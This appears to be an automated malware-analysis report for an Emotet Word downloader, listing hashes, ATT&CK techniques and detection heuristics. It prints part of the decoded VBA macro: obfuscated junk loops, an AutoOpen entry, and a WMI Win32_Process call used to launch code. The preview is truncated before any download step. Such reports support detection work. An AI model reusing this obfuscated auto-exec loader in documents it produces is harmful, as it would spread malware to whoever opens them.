Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3081d8809d6e4dfd…

MALICIOUS

Office (OLE)

152.6 KB Created: 2019-05-13 14:25:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: a302ba28f88ab5d258fd643b078bb911 SHA-1: 258519a27e4351f69284427551a4bc9fb99cb664 SHA-256: 3081d8809d6e4dfddec906b6bc2fde8ea99ae2f2e6c96fc09ce6216ec413189d
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros, specifically an AutoOpen macro that uses GetObject to execute code. ClamAV identifies this as Doc.Downloader.Emotet-6969153-0, strongly suggesting Emotet family. The VBA code is heavily obfuscated, indicating an attempt to evade detection, and its primary function is to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6969153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6969153-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7600 bytes
SHA-256: 548b774705a3485ba39b23e8b181e4f6339f72ed941c819604f778cb8538cbdf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "s809414"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "H47791"
Attribute VB_Base = "0{84BA4EDA-3030-441D-9B9F-85CC551D54D4}{21E9DCB8-B7C2-428C-AEF0-5618FBBCC61D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "t546__"

Attribute VB_Name = "H0491271"

Attribute VB_Name = "j312667"
Attribute VB_Base = "0{5E3DD7C8-252B-4672-BBD8-C0ED11D7007D}{ACF3260D-7AE1-4F24-A360-A68A0916F1E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "I0366176"
Function k_6499(M0075388)
   While t71215 And n30826
            Close ("d83039")
            Close ("i61336")
            Close ("719628733")
            Close ("445853956")
Wend
   While J3491272 And W12506_
            Close ("V4652784")
            Close ("t3__9076")
            Close ("869063569")
            Close ("504508744")
Wend
   While p77_316 And b1454784
            Close ("S_7071")
            Close ("r_4613")
            Close ("550767436")
            Close ("813533166")
Wend
Set k_6499 = CVar(M0075388)
   While W_65181 And G56518
            Close ("P374487")
            Close ("u_340099")
            Close ("990644500")
            Close ("600345385")
Wend
   While M_5_584 And s347000
            Close ("z51542_5")
            Close ("D88900")
            Close ("424495686")
            Close ("811232344")
Wend
End Function
Sub _
autoopen()
On Error Resume Next
   While s573228 And Z600446
            Close ("F_62880")
            Close ("s08677")
            Close ("975322690")
            Close ("869452482")
Wend
   While d8922689 And v953_5
            Close ("o5750_")
            Close ("K204904")
            Close ("593153193")
            Close ("982901103")
Wend
   While h044543_ And F_335826
            Close ("Y995276")
            Close ("m91764")
            Close ("934648098")
            Close ("801472931")
Wend
Call i3180459
   While u037229 And P7798912
            Close ("F_46411")
            Close ("q16614")
            Close ("681455954")
            Close ("116930874")
Wend
   While f019566 And z01488
            Close ("A0264__")
            Close ("G345963")
            Close ("308306476")
            Close ("441684264")
Wend
   While E496_2_ And E690575_
            Close ("j038385")
            Close ("w947415")
            Close ("206867240")
            Close ("732265525")
Wend
End Sub


Attribute VB_Name = "N41364_"
Function i3180459()
On Error Resume Next
   While w610585 And X515660
            Close ("l5780_57")
            Close ("A87488")
            Close ("671928644")
            Close ("67070097")
Wend
   While W493_43 And Z1_565
            Close ("f9955008")
            Close ("F20485")
            Close ("953526756")
            Close ("945698588")
Wend
B467960 = H47791.B235287.Tag + j312667.J_745482 + H47791.B235287 + j312667.Q78810 + H47791.B235287.Value + H47791.B235287 + j312667.z926_7 + H47791.B235287 + H47791.B235287.Tag + j312667.c5253727 + H47791.B235287 + j312667.d1_26907.ControlTipText + H47791.B235287
   While q6800584 And R8459099
            Close ("h_09_90")
            Close ("S205855")
            Close ("249600478")
            Close ("956636474")
Wend
   While W636305_ And d1360_
            Close ("D3906_")
            Close ("U_28868")
            Close ("510091760")
            Close ("55526268")
Wend
Set L01__7 = k_6499(GetObject(CStr("wi") + CStr("nmgmt") + "s:Win32_Proce" + "ss"))
 
... (truncated)

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